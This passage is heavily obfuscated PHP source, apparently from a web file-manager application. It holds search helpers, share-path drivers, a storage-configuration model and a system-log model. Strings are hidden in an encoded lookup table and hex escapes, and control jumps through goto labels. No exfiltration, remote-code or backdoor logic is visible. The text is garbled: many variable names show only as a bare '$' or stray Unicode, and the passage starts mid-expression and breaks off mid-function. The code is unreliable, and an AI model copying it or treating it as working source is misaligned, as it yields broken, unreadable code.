$۪, $); $this->_listSearchGroupTag($, $۪, $); $this->_listDataApply($[$Ըō[429]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$¨, $, $, $ϵݣ) { $ =& $_SERVER[ϋ]; if (!$[$[2051]] || $¨[$[426]][$[404]] > 1) { return; } if (!isset($ϵݣ[$[32]]) || !is_array($[$[525]])) { return; } $ϵݣ[$[525]] = array($[7], $[$[525]]); unset($ϵݣ[$[32]]); unset($[$[525]]); $祉 = $this->field($)->where($ϵݣ)->limit($[2218])->select(); if (!$祉 || count($祉) == 0) { return; } $¨[$[429]] = array_merge($祉, $¨[$[429]]); $¨[$[426]][$[427]] += count($祉); } private function _listSearchTag(&$, $ݑ, $ؤ) { $㿈 =& $_SERVER[ϋ]; if (!$ݑ[$㿈[2051]] || $[$㿈[426]][$㿈[404]] > 1) { return; } $ = Model($㿈[2219])->listData(); $Ӎ = array(); $ݺ = $ݑ[$㿈[2051]]; foreach ($ as $˹) { $Ŭ = $˹[$㿈[32]]; $ӳ냖 = str_replace($㿈[53], $㿈[12], Pinyin::get($Ŭ)); if (stripos($Ŭ, $ݺ) !== !1 || stripos($ӳ냖, $ݺ) !== !1) { $Ӎ[] = $˹[$㿈[459]]; } } if (!$Ӎ) { return; } $ = array($㿈[484] => array($㿈[7], $Ӎ), $㿈[1754] => USER_ID); $ڝ = Model($㿈[486])->field($㿈[87])->where($)->select(); $ڝ = array_to_keyvalue($ڝ, $㿈[12], $㿈[87]); $ュ = array_unique($ڝ); $this->_listSearchMerge($, $ݑ, $ؤ, $ュ); } private function _listSearchDesc(&$Ꭱ͜, $, $ձ) { $ŝ =& $_SERVER[ϋ]; if (!$[$ŝ[2051]] || $Ꭱ͜[$ŝ[426]][$ŝ[404]] > 1) { return; } $߅ = array($ŝ[97] => $ŝ[510], $ŝ[434] => array($ŝ[443], $ŝ[2053] . $[$ŝ[2051]] . $ŝ[2053])); $ = !1; if ($) { $ = $this->listSearchChildren($[$ŝ[183]]); $ = array_unique($); if (!$) { return; } $߅[$ŝ[184]] = array($ŝ[7], $); } $Ъ = Model($ŝ[616])->field($ŝ[184])->where($߅)->limit(5000)->select(); $׆ = array_to_keyvalue($Ъ, $ŝ[12], $ŝ[184]); $this->_listSearchMerge($Ꭱ͜, $, $ձ, $׆); } private function _listSearchGroupTag(&$, $, $ǃǿ) { $ =& $_SERVER[ϋ]; if (!$[$[2051]] || $[$[426]][$[404]] > 1 || !$[$[183]]) { return; } $ = $this->sourceInfo($[$[183]]); if (!$ || $[$[181]] != SourceModel::TYPE_GROUP) { return; } $ş = $[$[554]]; $ = Model($[2220])->get($ş); $ׁ = array(); $Ġ = $[$[2051]]; foreach ($[$[429]] as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $Ġ) !== !1 || stripos($, $Ġ) !== !1) { $ׁ[] = $[$[459]]; } } if (!$ׁ) { return; } $ޫ = array($[484] => array($[7], $ׁ), $[1754] => 0, $[33] => $[2073] . $ş); $̃ = Model($[486])->field($[87])->where($ޫ)->select(); $̃ = array_to_keyvalue($̃, $[12], $[87]); $׌ = array_unique($̃); $this->_listSearchMerge($, $, $ǃǿ, $׌); } private function _listSearchMerge(&$, $ہ֨ī, $, $) { $ =& $_SERVER[ϋ]; if (!$) { return; } $եϳ = array_to_keyvalue($[$[429]], $[12], $[184]); $߻䥫 = array_diff($, $եϳ); if (!$߻䥫) { return; } $ = array($[184] => array($[7], $߻䥫)); $􈟧 = $this->field($)->where($)->select(); if (!$􈟧) { return; } $ދ = array(); foreach ($􈟧 as $) { if ($this->_listSearchFilter($, $ہ֨ī)) { $ދ[] = $; } } $[$[429]] = array_merge($ދ, $[$[429]]); $[$[426]][$[427]] += count($ދ); } private function _listSearchFilter($ê, $߯) { $ =& $_SERVER[ϋ]; $ = $ê[$[469]] == $[91]; if (!strstr($ê[$[569]], $[50] . $߯[$[183]] . $[50])) { return !1; } if (isset($߯[$[470]]) && $߯[$[470]] != $[2008]) { if ($߯[$[470]] == $[78] && !$) { return !1; } if ($߯[$[470]] != $[78] && $) { return !1; } if (!strstr($ê[$[178]], $[50] . $߯[$[470]] . $[50])) { return !1; } } if (isset($߯[$[2221]]) && $߯[$[2221]] < $ê[$[79]]) { return !1; } if (isset($߯[$[2222]]) && $߯[$[2222]] > $ê[$[79]]) { return !1; } if (isset($߯[$[646]]) && $߯[$[646]] != $ê[$[513]]) { return !1; } return !0; } public function listSearchChildren($ߔٌ, $ɥ = 5000) { $ =& $_SERVER[ϋ]; $Ɯ = array(); $򑅲 = $this->sourceInfo($ߔٌ); $Ҹ = array($[569] => array($[443], $򑅲[$[569]] . $򑅲[$[184]] . $[597])); $㵞 = $this->field($[79])->where($Ҹ)->limit($ɥ + 1)->select(); $稄 = is_array($㵞) ? count($㵞) : 0; if ($稄 > $ɥ) { return $this->_listSearchChildrenNear($ߔٌ, $ɥ); } $ = $this->field($[184])->where($Ҹ)->select(); $Ɯ = array_to_keyvalue($, $[12], $[184]); return $Ɯ; } private function _listSearchChildrenNear($ӟ, $ꦻ) { $Ȉ =& $_SERVER[ϋ]; $聇 = array(); $ϥ = array($Ȉ[183] => $ӟ); $˽ё = $this->field($Ȉ[2223])->where($ϥ)->select(); $˫ = array_to_keyvalue(array_filter_by_field($˽ё, $Ȉ[469], $Ȉ[91]), $Ȉ[12], $Ȉ[184]); $聇 = array_merge($聇, array_to_keyvalue($˽ё, $Ȉ[12], $Ȉ[184])); if (!$˫) { return $聇; } $ϥ = array($Ȉ[183] => array($Ȉ[7], $˫)); $˽ё = $this->field($Ȉ[2223])->where($ϥ)->limit($ꦻ)->select(); $聇 = array_merge($聇, array_to_keyvalue($˽ё, $Ȉ[12], $Ȉ[184])); $聇 = array_slice($聇, 0, intval($ꦻ)); return $聇; } private function _listSearchBindPinyin($رʣ, &$‫, &$ƌՁ) { $Ց =& $_SERVER[ϋ]; if (!isset($رʣ[$Ց[2051]]) || !$رʣ[$Ց[2051]]) { return; } if (!Input::check($رʣ[$Ց[2051]], $Ց[369]) || strlen($رʣ[$Ց[2051]]) < 2) { return; } $ = "\114\105\106\124\40\x4a\x4f\x49\x4e\x20{$this->tablePrefix}\151\x6f\137\x73\157\165\x72\x63\x65\x5f\x6d\145\x74\x61\x20\x6d\145\x74\x61\x20\157\x6e\x20\x73\157\x75\x72\143\x65\x2e\163\x6f\x75\162\x63\x65\x49\104\40\75\40\x6d\x65\164\x61\56\163\x6f\165\x72\x63\x65\111\x44"; $՜ = array(); $ƌՁ = str_replace(array($Ց[253], $Ց[53], $Ց[2224]), $Ց[12], $ƌՁ); $ƌՁ = $Ց[495] . str_replace($Ց[50], $Ց[496], $ƌՁ); $˦ = $‫[$Ց[32]]; unset($‫[$Ց[32]]); foreach ($‫ as $Ⱥ => $ʐ) { $՜[$Ց[495] . $Ⱥ] = $ʐ; } foreach ($˦ as $) { $՜[] = array($Ց[500] => $, $Ց[1049] => $Ց[2055], array($Ց[2225] => $, $Ց[2226] => array($Ց[7], array($Ց[522], $Ց[521])))); } $this->join($); $‫ = $՜; } private function _parseSearchWhere($) { $ =& $_SERVER[ϋ]; $᛫ = array(); if (isset($[$[812]]) && $[$[812]]) { $᛫[$[88]] = array($[2227], $[$[812]]); } if (isset($[$[813]]) && $[$[813]]) { $ = array($[2228], $[$[813]]); if ($᛫[$[88]]) { $᛫[$[88]] = array($᛫[$[88]], $, $[2229]); } else { $᛫[$[88]] = $; } } if (isset($[$[2221]]) && $[$[2221]] > 0) { $᛫[$[79]] = array($[2227], $[$[2221]]); } if (isset($[$[2222]]) && $[$[2222]]) { $ = array($[2228], $[$[2222]]); if ($᛫[$[79]]) { $᛫[$[79]] = array($᛫[$[79]], $, $[2229]); } else { $᛫[$[79]] = $; } } if (isset($[$[646]]) && $[$[646]]) { $᛫[] = array($[513] => $[$[646]], $[511] => $[$[646]], $[1049] => $[2055]); } if (isset($[$[470]]) && $[$[470]]) { $͊ = $[$[470]]; if ($͊ == $[78]) { $᛫[$[469]] = 1; } else { if ($͊ == $[2230]) { $᛫[$[469]] = 0; } else { if ($͊) { $͊ = is_array($͊) ? $͊ : explode($[50], $͊); $᛫[$[470]] = array($[476], $͊); $᛫[$[469]] = 0; } } } } $this->_parseSearchParent($, $᛫); if (isset($[$[2051]]) && trim($[$[2051]])) { $ȝ = trim($[$[2051]]); $ = explode($[53], $ȝ); if (strlen($ȝ) > 2 && (substr($ȝ, 0, 1) == $[121] && substr($ȝ, -1) == $[121]) || substr($ȝ, 0, 1) == $[58] && substr($ȝ, -1) == $[58]) { $ȝ = substr($ȝ, 1, -1); $ = array($ȝ); } $᛫[$[32]] = array(array($[596], $[2053] . $ȝ . $[2053])); if (count($) > 1) { $᛫[$[32]] = array(); foreach ($ as $ڛ) { if (!trim($ڛ)) { continue; } $᛫[$[32]][] = array($[596], $[2053] . trim($ڛ) . $[2053]); } } } return $᛫; } private function _parseSearchParent($, &$Џ) { $Ŝ =& $_SERVER[ϋ]; if (!isset($[$Ŝ[183]]) || !$[$Ŝ[183]]) { return; } $̪ = $this->pathInfo($[$Ŝ[183]]); $ = $̪[$Ŝ[183]] . $Ŝ[12] === $Ŝ[219]; $ = $̪[$Ŝ[181]] == $Ŝ[563]; if ($̪[$Ŝ[580]] == $Ŝ[581]) { $ = $this->sourceInfo($[$Ŝ[183]]); $̪[$Ŝ[569]] = $[$Ŝ[569]]; } $Џ[$Ŝ[636]] = array($Ŝ[596], $̪[$Ŝ[569]] . $[$Ŝ[183]] . $Ŝ[597]); $ = isset($[$Ŝ[1911]]) && in_array($Ŝ[563], $[$Ŝ[1911]]); if (!$ || !$ || !$ || !$̪[$Ŝ[471]]) { return; } if (!AuthModel::authCheckRoot($̪[$Ŝ[471]][$Ŝ[472]])) { return; } $ޫ = $̪[$Ŝ[554]] . $Ŝ[12]; if ($ޫ == $Ŝ[91]) { unset($Џ[$Ŝ[636]]); $Џ[$Ŝ[181]] = self::TYPE_GROUP; return; } $ф鮉 = Model($Ŝ[570])->groupChildrenAll($ޫ); $ = count($ф鮉); if ($ <= 1) { return; } $ˡ = array($Ŝ[183] => 0, $Ŝ[181] => self::TYPE_GROUP, $Ŝ[554] => array($Ŝ[7], $ф鮉)); $ˇ = $this->field($Ŝ[2231])->where($ˡ)->limit($)->select(); $Џ[$Ŝ[636]] = array(); foreach ($ˇ as $ՃԲ) { $Џ[$Ŝ[636]][] = array($Ŝ[596], $Ŝ[579] . $ՃԲ[$Ŝ[184]] . $Ŝ[597]); } $Џ[$Ŝ[636]][] = $Ŝ[2055]; } } goto dجָ; EѺ: class PathDriverDriverShareItem { public function __construct($ë) { $this->pathParse = $ë; } public function __call($Ȝ, $ﱨ) { $ =& $_SERVER[ϋ]; if (method_exists($this, $Ȝ)) { return; } $ܬѶ = call_user_func_array(array($[1397], $Ȝ), $ﱨ); $ʖ = array($[1398], $[1399], $[1400], $[1401], $[602], $[604], $[1402], $[110], $[1403], $[1404]); if (in_array($Ȝ, $ʖ)) { $ܬѶ = $this->getPathOuter($ܬѶ); } return $ܬѶ; } public function copy($ᡚʭ, $˥ӭ, $ = false, $ = false) { return $this->copyMove($ᡚʭ, $˥ӭ, $, $_SERVER[ϋ][602], $); } public function move($ٕ낚, $ϲ퉤, $ = false, $Í = false) { return $this->copyMove($ٕ낚, $ϲ퉤, $, $_SERVER[ϋ][604], $Í); } private function copyMove($, $ꧠ, $, $, $쓾 = false) { $Ź =& $_SERVER[ϋ]; $²ٰ = $ꧠ; $꠭ = IO::driverMake($ꧠ); if ($꠭->pathParse[$Ź[1203]]) { $ꧠ = $꠭->pathParse[$Ź[1203]]; } else { $ꧠ = $²ٰ; } $Ԡ = IO::copyMove($, $ꧠ, $, $, $쓾); $Ԡ = $this->getPathOuter($Ԡ); return $Ԡ; } public function pathThis($һ) { return get_path_this($this->pathParse[$_SERVER[ϋ][87]]); } public function pathFather($Վ) { return get_path_father($this->pathParse[$_SERVER[ϋ][87]]); } public function iconvSystem($) { return $; } protected function infoParse($õ, $ƇǢ = false) { $ =& $_SERVER[ϋ]; $ȍ = $this->pathParse[$[545]][$[1228]] . $this->pathParse[$[1221]]; if ($ƇǢ) { $ң앖 = IO::infoWithChildren($ȍ); } else { $ң앖 = IO::info($ȍ); } $ = $this->pathParse[$[545]]; return Action($[1395])->_shareItemeParse($ң앖, $); } public function listAll($) { $ =& $_SERVER[ϋ]; $Ό = IO::listAll($); $ = rtrim($this->pathParse[$[545]][$[1228]], $[8]); foreach ($Ό as &$) { $[$[87]] = $this->pathDriver . $[8] . ltrim(substr($[$[87]], strlen($)), $[8]); } unset($); return $Ό; } public function listAllSimple($, $ = false) { $ =& $_SERVER[ϋ]; $ݳ = $this->listAll($); $ƨ = $this->pathParse[$[479]]; if (trim($ƨ, $[8]) == trim(get_path_father($ƨ), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($ݳ, $ƨ, $); } public function getPathOuter($ғ) { $܊ =& $_SERVER[ϋ]; $וᖾ = KodIO::parse($ғ); if ($וᖾ[$܊[33]] == KodIO::KOD_SHARE_ITEM) { return $וᖾ[$܊[87]]; } $ԇё = KodIO::clear($ғ); $ = KodIO::clear($this->pathParse[$܊[545]][$܊[1228]]); $ֻ = substr($ԇё, strlen($)); if (substr($ԇё, 0, strlen($)) != $) { return !1; } return $this->pathParse[$܊[1222]] . $܊[8] . ltrim($ֻ, $܊[8]); } public function getType() { $͵ =& $_SERVER[ϋ]; $ = str_replace($͵[77], $͵[12], get_class($this)); return strtolower($); } public function isOsDriver($) { return IO::isOsDriver($); } public function info($т) { return $this->infoParse($т); } public function infoAuth($ש) { return $this->infoParse($ש); } public function infoWithChildren($Ԋ) { return $this->infoParse($Ԋ, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($읁) { $this->pathParse = $읁; } protected function infoParse($΄, $ɸ = false) { $焟 =& $_SERVER[ϋ]; return Action($焟[1227])->sharePathInfo($this->pathParse[$焟[87]], !0, $ɸ); } public function listPath($, $쎑˛ = false) { $ =& $_SERVER[ϋ]; $Յ = IO::listPath($, $쎑˛); if (!$Յ) { return $Յ; } if (is_array($Յ[$[1396]])) { $꒎ = Action($[1405])->parsePathChildren($Յ[$[1396]], array($[479] => $)); $Յ[$[1396]] = Action($[1227])->shareItemInfo($꒎); } foreach ($Յ as $ => $) { if (!in_array($, array($[86], $[85]))) { continue; } foreach ($ as $ => $꒎) { $꒎ = Action($[1405])->parsePathChildren($꒎, array($[479] => $)); $Յ[$][$] = Action($[1227])->shareItemInfo($꒎); } } return $Յ; } } class PathDriverEDS extends PathDriverBaseS3 { public function __construct($䤗) { parent::__construct($䤗); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto A; c: function binCheckBigger($꒼ĭ, $򬑴) { return $꒼ĭ > $򬑴; } $_SERVER[$_SERVER[֩][3]] = (base64_decode('ODQ4Mg==')."\66\61")+0;$_1f7r="rjf8n76t254zagceymbs39hudlxo0q1wivkp5bdkclags39081jivu7zq2tw6yonf4mepxh";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($׍, $) { $ԋե =& $_SERVER[ϋ]; if (isset(self::$_methodList[$׍])) { return @call_user_func_array(self::$_methodList[$׍], $); } else { if (method_exists($this, $׍)) { return call_user_func_array(array($this, $׍), $); } else { think_exception(__CLASS__ . $ԋե[4] . $׍ . $ԋե[5]); } } } public static function __callStatic($, $ݻ) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $ݻ); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $ݻ); } else { show_json("{$}\50\x29\x20\156\x6f\x74\40\x65\x78\151\163\164\x3b", !1); } } } public static function addMethod($ۢ, $ݦ) { self::$_methodList[$ۢ] = $ݦ; } public static function addMethodStatic($ߋӒ, $˞) { self::$_methodListStatic[$ߋӒ] = $˞; } } goto b; D֘: class StorageModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\x6d\x2e\x73\164\157\162\x61\x67\x65\x4c\x69\x73\x74"; public $field = array("\156\x61\x6d\x65", "\163\x69\172\145\115\141\170", "\x73\171\x73\x74\x65\x6d", "\x64\145\x66\141\165\154\x74", "\144\x72\151\x76\145\162", "\x63\157\x6e\146\151\147"); public function listData($صĞ = false, $ܽ = "\x6d\x6f\x64\x69\x66\x79\x54\151\155\145", $Ǖ = false) { $ݒ̶ =& $_SERVER[ϋ]; $ۧ = parent::listData($صĞ, $ܽ, $Ǖ); if ($صĞ) { return $ۧ; } $ = array(); if ($GLOBALS[$ݒ̶[2281]]) { $ = $this->ioSizeUseGet(array_to_keyvalue($ۧ, $ݒ̶[12], $ݒ̶[459])); } foreach ($ۧ as $ֶ => $Ͷ) { unset($ۧ[$ֶ][$ݒ̶[6]]); $ۧ[$ֶ][$ݒ̶[1941]] = isset($[$Ͷ[$ݒ̶[459]]]) ? $[$Ͷ[$ݒ̶[459]]] : 0; } return $ۧ; } public function ioSizeUseGet($ɔ) { $ϼ =& $_SERVER[ϋ]; if (!$ɔ) { return array(); } $ = $ϼ[2282] . implode($ϼ[50], $ɔ); $ώ = Cache::get($); if ($ώ) { return $ώ; } $ɔ = array($ϼ[868] => $ϼ[459], $ϼ[2283] => $ϼ[79]); $ = array($ϼ[868] => array($ϼ[7], $ɔ)); $ώ = Model($ϼ[840])->field($ɔ)->where($)->group($ϼ[868])->select(); $ώ = array_to_keyvalue($ώ, $ϼ[459], $ϼ[79]); Cache::set($, $ώ, 600); return $ώ; } public function getConfig($灐) { $ = parent::listData($灐); return json_decode($[$_SERVER[ϋ][6]], !0); } public function update($ʲ, $δ) { $ =& $_SERVER[ϋ]; $Ĵ = $δ[$[32]]; $ϰ = array_to_keyvalue(parent::listData(), $[32]); if (isset($ϰ[$Ĵ]) && $ϰ[$Ĵ][$[459]] != $ʲ) { return !1; } $this->checkPwd($ʲ, $δ); if (isset($δ[$[2284]]) && $δ[$[2284]] == $[91]) { $this->checkConfig($δ); } unset($δ[$[2284]]); $ = parent::update($ʲ, $δ); if ($ && $δ[$[37]]) { $ = 0; foreach ($ϰ as $ַ) { if ($ַ[$[37]] && $ַ[$[459]] != $ʲ) { $ = $ַ[$[459]]; parent::update($ַ[$[459]], array($[37] => 0)); } } $this->updateBackup($ʲ, $); } return $; } public function add($) { $֮ =& $_SERVER[ϋ]; $ = array_to_keyvalue(parent::listData(), $֮[32]); if (isset($[$[$֮[32]]])) { return !1; } $this->checkConfig($); $ʆ = parent::insert($); if ($ʆ && $[$֮[37]]) { foreach ($ as $Ȇ) { if ($Ȇ[$֮[37]]) { parent::update($Ȇ[$֮[459]], array($֮[37] => 0)); } } } return $ʆ; } public function updateBackup($̵, $顱) { $ =& $_SERVER[ϋ]; if (!$顱) { return; } $ۍ = Model($[801])->config(); if ($ۍ[$[1724]] != $[91] || $ۍ[$[803]] != $顱) { return; } $ˏ = Model($[822])->get($[834]); $ˏ = json_decode($ˏ, !0); if (!$ˏ) { return; } $ˏ[$[803]] = $̵; Model($[822])->set(array($[834] => $ˏ)); } public function checkPwd($ί, &$悆) { $鿯 =& $_SERVER[ϋ]; if (empty($悆[$鿯[6]])) { return; } $ = json_decode($悆[$鿯[6]], !0); $ߙթ = $鿯[12]; $͏ = array($鿯[2285], $鿯[2286], $鿯[938]); foreach ($͏ as $ܿ) { if (isset($[$ܿ])) { $ߙթ = $ܿ; break; } } if (!$ߙթ) { return; } $Ợ = $this->getConfig($ί); $閑 = $Ợ[$ߙթ]; $ = $[$ߙթ]; if ($ == str_repeat($鿯[211], strlen($閑))) { $[$ߙթ] = $閑; $悆[$鿯[6]] = json_encode($); } else { if ($ != $閑) { $悆[$鿯[2284]] = $鿯[91]; } } } public function checkConfig(&$, $貑 = false) { $ =& $_SERVER[ϋ]; $ċ = strtolower($[$[98]]); $ = json_decode($[$[6]], !0); foreach ($ as $ => $ʞ) { if (is_string($ʞ)) { $[$] = trim($ʞ); } } $[$[2287]] = rand_string(6); $ٓ = $GLOBALS[$[6]][$[92]][$[877]]; $ = isset($ٓ[$ċ]) ? $ٓ[$ċ] : ucfirst($ċ); $ = $[77] . $; if (!$ || !class_exists($)) { if ($貑) { return LNG($[2288]); } write_log(array($[2289], $, get_caller_info()), $[206]); show_json(LNG($[2288]), !1, $); } $ = new $($); if (in_array($ċ, $->objectDriver)) { try { if (!$->isBucketCors() && !$->setBucketCors()) { $ = LNG($[2290]); $ .= $[2291] . LNG($[2292]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($)) { return $this->_parseError($, $ċ, $貑); } } $βԆ = rtrim($[$[1233]], $[8]) . $[8]; $ = $->getPath($βԆ . $[1237]); try { $ = $->mkfile($); if (!$) { $ = LNG($[2290]); } } catch (Exception $) { $ = $->getMessage(); } if (isset($)) { return $this->_parseError($, $ċ, $貑); } if ($ċ == $[68] && !$->checkRegion()) { return $this->_parseError(LNG($[2293]), $ċ, $貑); } $[$[1233]] = $βԆ; $[$[6]] = json_encode($); $[$[98]] = $; return !0; } private function _parseError($, $, $ו = false) { $腙 =& $_SERVER[ϋ]; if ($ == $腙[68] && stripos($, $腙[2294])) { $汇 = explode($腙[10], $); $ = isset($汇[1]) ? $汇[1] : $腙[12]; $־ = array($腙[2295] => LNG($腙[2296]), $腙[2297] => LNG($腙[2298])); if (isset($־[$])) { $ = $־[$]; } } if (stripos($, $腙[2299]) === 0) { $μ = strpos($, $腙[168]); if ($μ === !1) { $μ = strpos($, $腙[4]); } if ($μ !== !1) { $ = substr($, $μ + 1); } } $ = LNG($腙[1239]) . $; if ($ו) { return $; } show_json($, !1); } public function driverListSystem() { $ =& $_SERVER[ϋ]; $솈 = parent::listData(); $ = array(); foreach ($솈 as $񢊒) { unset($񢊒[$[222]], $񢊒[$[88]]); $񢊒[$[6]] = json_decode($񢊒[$[6]], !0); $[] = $񢊒; } return $; } public function defaultDriver() { $ =& $_SERVER[ϋ]; $ = parent::listData(); $̖ = array_filter_by_field($, $[37], 1); $̖ = $̖[0]; if ($̖) { $̖[$[6]] = json_decode($̖[$[6]], !0); } return $̖; } public function driverInfo($ޕ) { $֟ =& $_SERVER[ϋ]; $ᰋ = array_to_keyvalue(parent::listData(), $֟[459]); if (!isset($ᰋ[$ޕ])) { return !1; } $կߏ = $ᰋ[$ޕ]; $կߏ[$֟[6]] = json_decode($կߏ[$֟[6]], !0); return $կߏ; } public function remove($ɀ) { $this->removeShareItems($ɀ); return parent::remove($ɀ); } public function removeWithFile($ʹ, $͛, $ݤ, $ = false) { $Ō =& $_SERVER[ϋ]; $ش̎ = array($Ō[868] => $ʹ); $ө = Model($Ō[528])->where($ش̎)->count(); $ܤ = Model($Ō[528])->where($ش̎)->sum($Ō[79]); $ۤ = $͛ . $Ō[2300] . $ʹ; $ = LNG($͛ == $Ō[604] ? $Ō[2301] : $Ō[2302]); $ = new TaskFileTransfer($ۤ, $Ō[206], $ө, $ . $Ō[446] . $ݤ[$Ō[32]] . $Ō[205] . $ʹ); $->task[$Ō[815]] = (double) $ܤ; $̝ = KodIO::defaultDriver(); $ʅ膅 = $̝[$Ō[459]]; $Ą = $Ɠ = $ = array(); $Ë = Model($Ō[221])->where($ش̎)->field($Ō[2303])->select(); foreach ($Ë as $ʾ) { $؂뵦 = $ʾ[$Ō[525]]; if ($) { $Ɠ[] = $؂뵦; continue; } $Ƕ޻ = $ʾ[$Ō[87]]; $飿 = get_path_father($Ƕ޻); $[] = $飿; $飿 = str_replace("\x7b\x69\x6f\x3a{$ʹ}\x7d\x2f", "\173\x69\x6f\x3a{$ʅ膅}\x7d\x2f", $飿); if (!IO::exist($Ƕ޻)) { $Ą[] = $؂뵦; $->updateFileEnd($ʾ[$Ō[32]], $ʾ[$Ō[79]]); write_log($Ō[2304] . $Ƕ޻, $Ō[1884]); continue; } $䶟 = IO::move($Ƕ޻, $飿, REPEAT_RENAME); if (!$䶟) { $Ɠ[] = $؂뵦; $->updateFileEnd($ʾ[$Ō[32]], $ʾ[$Ō[79]]); write_log($Ō[2305] . $Ƕ޻, $Ō[1884]); continue; } $ش̎ = array($Ō[525] => $؂뵦); $ = array($Ō[868] => $ʅ膅, $Ō[87] => $䶟); Model($Ō[221])->where($ش̎)->save($); } $ = $->task; if (!$) { Cache::set($ۤ, $); } $->end(); $Ą = array_unique($Ą); $Ɠ = array_unique($Ɠ); if (!$ && ($Ą || $Ɠ)) { $渲 = array(); if ($Ą) { $渲[] = sprintf(LNG($Ō[2306]), count($Ą)); } if ($Ɠ) { $渲[] = sprintf(LNG($Ō[2307]), count($Ɠ)); } $渲 = sprintf(LNG($Ō[2308]), implode($Ō[2309], $渲)) . $Ō[2310] . date($Ō[2311]) . $Ō[2312]; if ($͛ == $Ō[1921]) { $渲 .= $Ō[2313] . LNG($Ō[2314]); } $[$Ō[1235]] = $渲; Cache::set($ۤ, $); unset($ݤ[$Ō[6]]); $ѽ = array($Ō[459] => $ʹ, $Ō[2191] => $Ō[604], $Ō[32] => $ݤ[$Ō[32]], $Ō[1255] => $ݤ); Hook::trigger($Ō[1765], array($Ō[1255] => $ѽ, $Ō[1265] => !0)); show_json($渲, !1, 100111); } if ($͛ == $Ō[604]) { return !0; } if ($Ą || $Ɠ) { $У = array_merge($Ą, $Ɠ); $У = array_filter(array_unique($У)); $this->removeByFileID($У); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $Ƕ޻) { $Ȥ = IO::has($Ƕ޻, !0); if (!$Ȥ[$Ō[230]] && !$Ȥ[$Ō[231]]) { IO::remove($Ƕ޻); } } } return $this->remove($ʹ); } private function removeByFileID($䮷 = array()) { $ =& $_SERVER[ϋ]; if (empty($䮷)) { return; } $䘇 = array($[525] => array($[7], $䮷)); $´ϡ = Model($[1388])->where($䘇)->field($[184])->select(); if (!$´ϡ) { return Model($[528])->remove($䮷); } $´ϡ = array_to_keyvalue($´ϡ, $[12], $[184]); foreach ($´ϡ as $ĻΨ) { Model($[876])->removeNow($ĻΨ, !1); } } private function removeShareItems($Ҳ) { $׍ =& $_SERVER[ϋ]; $˪ = "\x7b\x69\157\72{$Ҳ}\x7d\57"; $ҷ = array($׍[184] => 0, $׍[1228] => array($׍[443], "{$˪}\x25")); $ = Model($׍[1932])->where($ҷ)->field($׍[649])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $׍[12], $׍[649]); Model($׍[648])->remove($); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\145\155\x2e\x4c\151\147\x68\x74\101\160\x70"; public $modelType = "\123\171\163\164\145\x6d\x4f\x70\164\151\x6f\156"; public $field = array("\x6e\x61\155\145", "\147\162\157\165\x70", "\x64\x65\163\143", "\143\157\x6e\164\x65\156\x74"); public function listData($䄥 = false, $ = "\155\x6f\144\x69\x66\171\124\x69\x6d\145", $ = true) { return parent::listData($䄥, $, $); } public function remove($) { $ = $this->findByName($); if (!$) { return !1; } return parent::remove($[$_SERVER[ϋ][459]]); } public function add($) { if ($this->findByName($[$_SERVER[ϋ][32]])) { return !1; } return parent::insert($); } public function update($, $) { $Ӥ =& $_SERVER[ϋ]; $ = $this->findByName($); $Ύ = $this->findByName($[$Ӥ[32]]); if (!$ || $Ύ && $Ύ[$Ӥ[459]] != $[$Ӥ[459]]) { return !1; } return parent::update($[$Ӥ[459]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\163\171\x73\x74\x65\x6d\137\x6c\157\x67"; protected $dataAuto = array(array("\x63\x72\145\x61\164\x65\x54\x69\x6d\x65", "\x74\x69\155\145", "\151\x6e\x73\145\162\x74", "\146\165\156\143\164\151\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[ϋ]; return array($[2315] => LNG($[2316]), $[2317] => LNG($[2318]), $[1895] => LNG($[2319]), $[2320] => LNG($[2321]), $[2322] => LNG($[2323]), $[2324] => LNG($[2325]), $[2326] => LNG($[2327]), $[1925] => LNG($[2327]), $[1926] => LNG($[2328]), $[2329] => LNG($[2330]), $[2331] => LNG($[2332]), $[2333] => LNG($[2334]), $[2335] => LNG($[2336]), $[1923] => LNG($[2337]), $[2338] => LNG($[2339]), $[1930] => LNG($[2340]), $[2341] => LNG($[2342]), $[2343] => LNG($[2344]), $[2345] => LNG($[2346]), $[2347] => LNG($[2348]), $[1933] => LNG($[2349]), $[1934] => LNG($[2350]), $[2351] => LNG($[2352]), $[2353] => LNG($[2354]), $[2355] => LNG($[2356]), $[1928] => LNG($[2357]), $[2358] => LNG($[2359]), $[1927] => LNG($[2360]), $[2361] => LNG($[2362]), $[2363] => LNG($[2364]), $[2365] => LNG($[2364]), $[2366] => LNG($[2367]), $[2368] => LNG($[2368]), $[2369] => LNG($[1899]), $[2370] => LNG($[2371]), $[2372] => LNG($[2373]), $[2374] => LNG($[2375]), $[2376] => LNG($[2377]), $[2378] => LNG($[2379]), $[2380] => LNG($[2380]), $[2381] => LNG($[2382]), $[2383] => LNG($[2384]), $[2385] => LNG($[2386]), $[2387] => LNG($[2388]), $[2389] => LNG($[2390]), $[2391] => LNG($[2392]), $[203] => LNG($[203]), $[204] => LNG($[2393]), $[2394] => LNG($[2394])); } private function typeFile() { $ =& $_SERVER[ϋ]; $ = array($[1930] => array($[1931]), $[2333] => array($[2395]), $[2335] => array($[2396]), $[1923] => array($[1924], $[2397]), $[2343] => array(), $[2345] => array(), $[2347] => array(), $[1933] => array($[1935]), $[1934] => array($[1935]), $[2351] => array($[2398]), $[2353] => array($[2398]), $[2355] => array($[2399]), $[2341] => array($[2400]), $[1928] => array($[2401]), $[2358] => array($[2402]), $[1927] => array($[1929])); return $; } private function 